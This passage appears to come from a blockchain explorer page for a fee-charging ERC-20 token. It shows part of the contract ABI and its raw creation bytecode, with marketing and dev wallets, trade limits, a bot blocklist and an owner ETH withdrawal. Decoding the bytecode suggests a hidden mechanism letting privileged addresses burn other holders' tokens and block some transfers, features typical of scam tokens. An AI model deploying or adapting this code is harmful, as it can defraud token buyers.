:"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"removeFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuyAmount","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxSellAmount","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWalletAmount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"removeFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600060068190556007556011805463ffffffff191663010000011790553480156200002e57600080fd5b506040805180820182526004808252635041504160e01b60208084018290528451808601909552918452908301529060036200006b8382620008b9565b5060026200007a8282620008b9565b50505060006200008f620004b160201b60201c565b600580546001600160a01b0319166001600160a01b0383169081179091556040519192509060009060008051602062003e5c833981519152908290a350600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801562000132573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000158919062000985565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001cc919062000985565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200021a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000240919062000985565b600880546001600160a01b0319166001600160a01b0392909216918217905533906200026e906001620004b5565b60085462000287906001600160a01b0316600162000518565b600b80546001600160a01b031990811673ed2677439050a29cf2badb276524e3ac3f61489217909155600c80549091167371f9da6613709ed7ab584a76022e667c6ab9fed51790556b033b2e3c9fd0803ce8000000612710620002ec826005620009cd565b620002f89190620009ed565b600a5560646200030a826002620009cd565b620003169190620009ed565b601555606462000328826002620009cd565b620003349190620009ed565b601355606462000346826002620009cd565b620003529190620009ed565b6014908155601f8190556020556000602181905560228190556005601a819055601b819055601c829055601d8290556200038d818362000a10565b62000399919062000a10565b620003a5919062000a10565b601955602154602054601f54602254620003c0919062000a10565b620003cc919062000a10565b620003d8919062000a10565b601e55620003ea61dead6001620004b5565b600b5462000403906001600160a01b03166001620004b5565b600c546200041c906001600160a01b03166001620004b5565b62000429826001620004b5565b62000436306001620004b5565b6200044561dead600162000584565b600b546200045e906001600160a01b0316600162000584565b600c5462000477906001600160a01b0316600162000584565b6200048482600162000584565b6200049130600162000584565b6200049c8262000632565b620004a882826200072f565b50505062000a26565b3390565b6001600160a01b038216600081815260186020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b0382166000908152601660205260409020805460ff1916821515179055620005488282620004b5565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6005546001600160a01b03163314620005d35760405162461bcd60e51b8152602060048201819052602482015260008051602062003e3c83398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146200067d5760405162461bcd60e51b8152602060048201819052602482015260008051602062003e3c8339815191526044820152606401620005ca565b6001600160a01b038116620006e45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620005ca565b6005546040516001600160a01b0380841692169060008051602062003e5c83398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038216620007875760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005ca565b80600460008282546200079b919062000a10565b90915550506001600160a01b03821660009081526001602052604081208054839290620007ca90849062000a10565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200083f57607f821691505b6020821081036200086057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620008b457600081815260208120601f850160051c810160208610156200088f5750805b601f850160051c820191505b81811015620008b0578281556001016200089b565b5050505b505050565b81516001600160401b03811115620008d557620008d562000814565b620008ed81620008e684546200082a565b8462000866565b602080601f8311600181146200092557600084156200090c5750858301515b600019600386901b1c1916600185901b178555620008b0565b600085815260208120601f198616915b82811015620009565788860151825594840194600190910190840162000935565b5085821015620009755787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200099857600080fd5b81516001600160a01b0381168114620009b057600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620009e757620009e7620009b7565b92915050565b60008262000a0b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009e757620009e7620009b7565b6134068062000a366000396000f3fe6080604052600436106103c75760003560e01c806395d89b41116101f2578063cadd422c1161010d578063e2f45605116100a0578063f2bbf8d91161006f578063f2bbf8d914610ad3578063f2fde38b14610ae9578063fc7eb42d14610b09578063fd35d1d614610b1f57600080fd5b8063e2f4560514610a72578063e611bfdb14610a88578063e7ad9fcd14610a9e578063e884f26014610abe57600080fd5b8063d4384318116100dc578063d4384318146109e3578063dc3f0d0f146109f9578063dd62ed3e14610a19578063e086e5ec14610a5d57600080fd5b8063cadd422c14610981578063cd51e6d414610997578063d0a39814146109ad578063d257b34f146109c357600080fd5b8063abe43b1b11610185578063c18bc19511610154578063c18bc195146108f0578063c424134c14610910578063c5b45ec014610940578063c876d0b91461096057600080fd5b8063abe43b1b14610883578063b9e937001461089a578063bbc0c742146108b0578063c0246668146108d057600080fd5b8063a457c2d7116101c1578063a457c2d71461080d578063a9059cbb1461082d578063aa4bde281461084d578063aacebbe31461086357600080fd5b806395d89b41146107a25780639a7a23d6146107b75780639fccce32146107d7578063a41aaaf1146107ed57600080fd5b806359d24b8e116102e2578063751039fc1161027557806388e765ff1161024457806388e765ff146107435780638a8c523c146107595780638cf405551461076e5780638da5cb5b1461078457600080fd5b8063751039fc146106e25780637571336a146106f757806376c702bf14610717578063868f0a741461072d57600080fd5b80636eb490cf116102b15780636eb490cf1461066757806370a0823114610697578063715018a6146106b7578063737952e6146106cc57600080fd5b806359d24b8e146105ec57806366d602ae1461061c5780636b0a894c146106325780636ddd17131461064857600080fd5b806323b872dd1161035a5780633950935111610329578063395093511461057c578063437764991461059c57806349bd5a5e146105b25780634a62bb65146105d257600080fd5b806323b872dd146105005780632be32b61146105205780632e6ed7ef14610540578063313ce5671461056057600080fd5b80631816467f116103965780631816467f146104855780631a8145bb146104a75780631f3fed8f146104bd57806323b1e7a7146104d357600080fd5b806306fdde03146103d3578063095ea7b3146103fe5780631694505e1461042e57806318160ddd1461046657600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610b35565b6040516103f59190612fb6565b60405180910390f35b34801561040a57600080fd5b5061041e61041936600461301c565b610bc7565b60405190151581526020016103f5565b34801561043a57600080fd5b5060095461044e906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561047257600080fd5b506004545b6040519081526020016103f5565b34801561049157600080fd5b506104a56104a0366004613048565b610bde565b005b3480156104b357600080fd5b5061047760255481565b3480156104c957600080fd5b5061047760235481565b3480156104df57600080fd5b506104776104ee366004613048565b600d6020526000908152604090205481565b34801561050c57600080fd5b5061041e61051b366004613065565b610c89565b34801561052c57600080fd5b506104a561053b3660046130a6565b610d33565b34801561054c57600080fd5b506104a561055b3660046130bf565b610e40565b34801561056c57600080fd5b50604051601281526020016103f5565b34801561058857600080fd5b5061041e61059736600461301c565b610ee3565b3480156105a857600080fd5b50610477601b5481565b3480156105be57600080fd5b5060085461044e906001600160a01b031681565b3480156105de57600080fd5b5060115461041e9060ff1681565b3480156105f857600080fd5b5061041e610607366004613048565b600f6020526000908152604090205460ff1681565b34801561062857600080fd5b5061047760145481565b34801561063e57600080fd5b5061047760125481565b34801561065457600080fd5b5060115461041e90610100900460ff1681565b34801561067357600080fd5b5061041e610682366004613048565b60166020526000908152604090205460ff1681565b3480156106a357600080fd5b506104776106b2366004613048565b610f1d565b3480156106c357600080fd5b506104a5610f38565b3480156106d857600080fd5b50610477601f5481565b3480156106ee57600080fd5b506104a5610fac565b34801561070357600080fd5b506104a56107123660046130f1565b611013565b34801561072357600080fd5b50610477601a5481565b34801561073957600080fd5b5061047760205481565b34801561074f57600080fd5b5061047760135481565b34801561076557600080fd5b506104a56110db565b34801561077a57600080fd5b5061047760265481565b34801561079057600080fd5b506005546001600160a01b031661044e565b3480156107ae57600080fd5b506103e861119e565b3480156107c357600080fd5b506104a56107d23660046130f1565b6111ad565b3480156107e357600080fd5b5061047760245481565b3480156107f957600080fd5b506104a561080836600461312f565b6112a1565b34801561081957600080fd5b5061041e61082836600461301c565b6112f7565b34801561083957600080fd5b5061041e61084836600461301c565b61138e565b34801561085957600080fd5b5061047760155481565b34801561086f57600080fd5b506104a561087e366004613048565b61139b565b34801561088f57600080fd5b50600754431061041e565b3480156108a657600080fd5b5061047760195481565b3480156108bc57600080fd5b5060115461041e9062010000900460ff1681565b3480156108dc57600080fd5b506104a56108eb3660046130f1565b611449565b3480156108fc57600080fd5b506104a561090b3660046130a6565b6114d2565b34801561091c57600080fd5b5061041e61092b366004613048565b60186020526000908152604090205460ff1681565b34801561094c57600080fd5b506104a561095b366004613048565b6115db565b34801561096c57600080fd5b5060115461041e906301000000900460ff1681565b34801561098d57600080fd5b50610477601c5481565b3480156109a357600080fd5b5061047760065481565b3480156109b957600080fd5b50610477601e5481565b3480156109cf57600080fd5b506104a56109de3660046130a6565b611626565b3480156109ef57600080fd5b5061047760225481565b348015610a0557600080fd5b506104a5610a143660046130a6565b611771565b348015610a2557600080fd5b50610477610a34366004613164565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b348015610a6957600080fd5b506104a5611878565b348015610a7e57600080fd5b50610477600a5481565b348015610a9457600080fd5b5061047760075481565b348015610aaa57600080fd5b506104a5610ab93660046130bf565b6118e4565b348015610aca57600080fd5b506104a5611984565b348015610adf57600080fd5b5061047760215481565b348015610af557600080fd5b506104a5610b04366004613048565b6119bd565b348015610b1557600080fd5b5061047760105481565b348015610b2b57600080fd5b50610477601d5481565b606060038054610b4490613192565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090613192565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611aa8565b5060015b92915050565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610c08906131cc565b60405180910390fd5b6001600160a01b038116610c675760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610c08565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c96848484611bcb565b6001600160a01b03841660009081526020818152604080832033845290915290205482811015610d195760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c08565b610d268533858403611aa8565b60019150505b9392505050565b6005546001600160a01b03163314610d5d5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e8610d7260045490565b610d7d906002613217565b610d87919061322e565b610d91919061322e565b811015610df25760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610c08565b610e0481670de0b6b3a7640000613217565b60138190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e6a5760405162461bcd60e51b8152600401610c08906131cc565b601d839055601a849055601b829055601c8190558082610e8a8587613250565b610e949190613250565b610e9e9190613250565b601981905560031015610edd5760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610c08565b50505050565b336000818152602081815260408083206001600160a01b03871684529091528120549091610bd4918590610f18908690613250565b611aa8565b6001600160a01b031660009081526001602052604090205490565b6005546001600160a01b03163314610f625760405162461bcd60e51b8152600401610c08906131cc565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fd65760405162461bcd60e51b8152600401610c08906131cc565b6004546013556004546014556004546015556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b0316331461103d5760405162461bcd60e51b8152600401610c08906131cc565b806110b0576008546001600160a01b03908116908316036110b05760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610c08565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146111055760405162461bcd60e51b8152600401610c08906131cc565b60115462010000900460ff161561115e5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610c08565b6011805462ffff00191662010100179055436006556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060028054610b4490613192565b6005546001600160a01b031633146111d75760405162461bcd60e51b8152600401610c08906131cc565b6008546001600160a01b039081169083160361125b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c08565b6112658282612803565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b306112ab81610f1d565b600a5411156112b957600080fd5b6112c4848484612831565b15610edd576009805460ff60a01b1916600160a01b1790556112e46128cb565b6009805460ff60a01b1916905550505050565b336000908152602081815260408083206001600160a01b0386168452909152812054828110156113775760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c08565b6113843385858403611aa8565b5060019392505050565b6000610bd4338484611bcb565b6005546001600160a01b031633146113c55760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b0381166114275760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610c08565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146114735760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114fc5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e861151160045490565b61151c906003613217565b611526919061322e565b611530919061322e565b8110156115945760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610c08565b6115a681670de0b6b3a7640000613217565b60158190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e35565b6005546001600160a01b031633146116055760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6005546001600160a01b031633146116505760405162461bcd60e51b8152600401610c08906131cc565b620186a061165d60045490565b611668906001613217565b611672919061322e565b8110156116df5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c08565b6103e86116eb60045490565b6116f6906001613217565b611700919061322e565b81111561176c5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610c08565b600a55565b6005546001600160a01b0316331461179b5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e86117b060045490565b6117bb906002613217565b6117c5919061322e565b6117cf919061322e565b8110156118315760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610c08565b61184381670de0b6b3a7640000613217565b60148190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e35565b6005546001600160a01b031633146118a25760405162461bcd60e51b8152600401610c08906131cc565b604051600090339047908381818185875af1925050503d8060008114610edd576040519150601f19603f3d011682016040523d82523d6000602084013e610edd565b6005546001600160a01b0316331461190e5760405162461bcd60e51b8152600401610c08906131cc565b6022839055601f84905560208290556021819055808261192e8587613250565b6119389190613250565b6119429190613250565b601e81905560031015610edd5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610c08565b6005546001600160a01b031633146119ae5760405162461bcd60e51b8152600401610c08906131cc565b6011805463ff00000019169055565b6005546001600160a01b031633146119e75760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b038116611a4c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c08565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611b0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c08565b6001600160a01b038216611b6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c08565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038084166000908152601660209081526040808320549386168352600d909152812054429260ff1691901590611c0786610f1d565b1590506001600160a01b038716611c305760405162461bcd60e51b8152600401610c0890613263565b6001600160a01b038616611c565760405162461bcd60e51b8152600401610c08906132a8565b60008511611ca65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610c08565b60115462010000900460ff16611d3a576001600160a01b03871660009081526017602052604090205460ff1680611cf557506001600160a01b03861660009081526017602052604090205460ff165b611d3a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c08565b60075415611de4576001600160a01b0387166000908152600f602052604090205460ff161580611d7757506005546001600160a01b038781169116145b80611d8c57506001600160a01b03861661dead145b611de45760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610c08565b60115460ff1615612299576001600160a01b03871660009081526018602052604090205460095460ff91821691600160a01b9091041615611e2d6005546001600160a01b031690565b6001600160a01b0316896001600160a01b031614158015611e5c57506005546001600160a01b03898116911614155b8015611e7057506001600160a01b03881615155b8015611e8757506001600160a01b03881661dead14155b8015611eac57506001600160a01b03891660009081526017602052604090205460ff16155b8015611ed157506001600160a01b03881660009081526017602052604090205460ff16155b15612046576011546301000000900460ff1615612046576009546001600160a01b038a1660009081526016602052604081205460ff600160a01b90930483161592161590818015611f1f5750825b6009549091506001600160a01b038c8116911614801590611f4e57506008546001600160a01b038c8116911614155b1561201157611f5e6002436132eb565b326000908152600e6020526040902054108015611f9c5750611f816002436132eb565b6001600160a01b038c166000908152600e6020526040902054105b611fe85760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610c08565b326000908152600e602052604080822043908190556001600160a01b038e168352912055612042565b8015612042576001600160a01b038c166000908152600d602052604090205460105481118061203f57600080fd5b50505b5050505b6001600160a01b03891660009081526016602052604090205460ff16801561208757506001600160a01b03881660009081526018602052604090205460ff16155b15612153576013548711156120ef5760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610c08565b6015546120fb89610f1d565b6121059089613250565b111561214e5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b612296565b80801561215d5750815b1561216c576010869055612296565b6001600160a01b03881660009081526016602052604090205460ff1680156121ad57506001600160a01b03891660009081526018602052604090205460ff16155b156122175760145487111561214e5760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610c08565b6001600160a01b03881660009081526018602052604090205460ff166122965760155461224389610f1d565b61224d9089613250565b11156122965760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b50505b60006122a430610f1d565b600a54909150811080159081906122c25750601154610100900460ff165b80156122d85750600954600160a01b900460ff16155b80156122fd57506001600160a01b03891660009081526016602052604090205460ff16155b801561232257506001600160a01b03891660009081526017602052604090205460ff16155b801561234757506001600160a01b03881660009081526017602052604090205460ff16155b15612375576009805460ff60a01b1916600160a01b1790556123676128cb565b6009805460ff60a01b191690555b60018480156123815750855b156123a85783156123a8576001600160a01b0389166000908152600d602052604090208790555b6001600160a01b038a1660009081526017602052604090205460ff16806123e757506001600160a01b03891660009081526017602052604090205460ff165b156123f0575060005b600081156127eb576007544310801561242157506001600160a01b038b1660009081526016602052604090205460ff165b801561244657506001600160a01b038a1660009081526016602052604090205460ff16155b801561245457506000601954115b156125d4576001600160a01b038a166000908152600f602052604090205460ff166124f4576001600160a01b038a166000908152600f60205260408120805460ff1916600190811790915560128054919290916124b2908490613250565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646125018a6063613217565b61250b919061322e565b9050601954601d548261251e9190613217565b612528919061322e565b602560008282546125399190613250565b9091555050601954601a5461254e9083613217565b612558919061322e565b602360008282546125699190613250565b9091555050601954601b5461257e9083613217565b612588919061322e565b602460008282546125999190613250565b9091555050601954601c546125ae9083613217565b6125b8919061322e565b602660008282546125c99190613250565b909155506127cd9050565b6001600160a01b038a1660009081526016602052604090205460ff1680156125fe57506000601e54115b156126c0576064601e548a6126139190613217565b61261d919061322e565b9050601e54602254826126309190613217565b61263a919061322e565b6025600082825461264b9190613250565b9091555050601e54601f546126609083613217565b61266a919061322e565b6023600082825461267b9190613250565b9091555050601e546020546126909083613217565b61269a919061322e565b602460008282546126ab9190613250565b9091555050601e546021546125ae9083613217565b6001600160a01b038b1660009081526016602052604090205460ff1680156126ea57506000601954115b156127cd5760646019548a6126ff9190613217565b612709919061322e565b9050601954601d548261271c9190613217565b612726919061322e565b602560008282546127379190613250565b9091555050601954601a5461274c9083613217565b612756919061322e565b602360008282546127679190613250565b9091555050601954601b5461277c9083613217565b612786919061322e565b602460008282546127979190613250565b9091555050601954601c546127ac9083613217565b6127b6919061322e565b602660008282546127c79190613250565b90915550505b80156127de576127de8b3083612ad1565b6127e8818a6132eb565b98505b6127f68b8b8b612ad1565b5050505050505050505050565b6001600160a01b0382166000908152601660205260409020805460ff19168215151790556112658282612c26565b3360008181526017602052604081205490919060ff163083821561288b57600061285a83610f1d565b1115612880578660000361287257601086905561287c565b61287c8888612c89565b5060005b9350610d2c92505050565b60265461289783610f1d565b101580156128a757506000602654115b156128b8576128b884602654612c89565b505060006026555060019150610d2c9050565b60006026541180156128e757506026546128e430610f1d565b10155b156128f8576128f830602654612c89565b6000602681905561290830610f1d565b9050600060245460235460255461291f9190613250565b6129299190613250565b9050811580612936575080155b1561293f575050565b600a805461294c91613217565b82111561296357600a805461296091613217565b91505b6000600282602554856129769190613217565b612980919061322e565b61298a919061322e565b905061299e61299982856132eb565b612daa565b602554479081906000906129b49060029061322e565b6129be90866132eb565b6023546129cb9085613217565b6129d5919061322e565b9050600060026025546129e8919061322e565b6129f290876132eb565b6024546129ff9086613217565b612a09919061322e565b9050612a158183613250565b612a1f90846132eb565b600060258190556023819055602481905560265592508415801590612a445750600083115b15612a5357612a538584612f04565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612a8d573d6000803e3d6000fd5b50600b546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612ac7573d6000803e3d6000fd5b5050505050505050565b6001600160a01b038316612af75760405162461bcd60e51b8152600401610c0890613263565b6001600160a01b038216612b1d5760405162461bcd60e51b8152600401610c08906132a8565b6001600160a01b03831660009081526001602052604090205481811015612b955760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c08565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290612bcc908490613250565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c1891815260200190565b60405180910390a350505050565b6001600160a01b038216600081815260186020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b038216612cdf5760405162461bcd60e51b815260206004820152601760248201527f45524332303a20746865207a65726f20616464726573730000000000000000006044820152606401610c08565b6001600160a01b03821660009081526001602052604090205481811015612d525760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074686520616d6f756e7420657863656564732062616c616e636044820152606560f81b6064820152608401610c08565b6001600160a01b03831660008181526001602090815260408083208686039055600480548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611bbe565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612ddf57612ddf6132fe565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612e38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e5c9190613314565b81600181518110612e6f57612e6f6132fe565b6001600160a01b039283166020918202929092010152600954612e959130911684611aa8565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790612ece908590600090869030904290600401613331565b600060405180830381600087803b158015612ee857600080fd5b505af1158015612efc573d6000803e3d6000fd5b505050505050565b600954612f1c9030906001600160a01b031684611aa8565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612f8a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612faf91906133a2565b5050505050565b600060208083528351808285015260005b81811015612fe357858101830151858201604001528201612fc7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461301957600080fd5b50565b6000806040838503121561302f57600080fd5b823561303a81613004565b946020939093013593505050565b60006020828403121561305a57600080fd5b8135610d2c81613004565b60008060006060848603121561307a57600080fd5b833561308581613004565b9250602084013561309581613004565b929592945050506040919091013590565b6000602082840312156130b857600080fd5b5035919050565b600080600080608085870312156130d557600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561310457600080fd5b823561310f81613004565b91506020830135801515811461312457600080fd5b809150509250929050565b60008060006060848603121561314457600080fd5b833561314f81613004565b95602085013595506040909401359392505050565b6000806040838503121561317757600080fd5b823561318281613004565b9150602083013561312481613004565b600181811c908216806131a657607f821691505b6020821081036131c657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610bd857610bd8613201565b60008261324b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610bd857610bd8613201565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610bd857610bd8613201565b634e487b7160e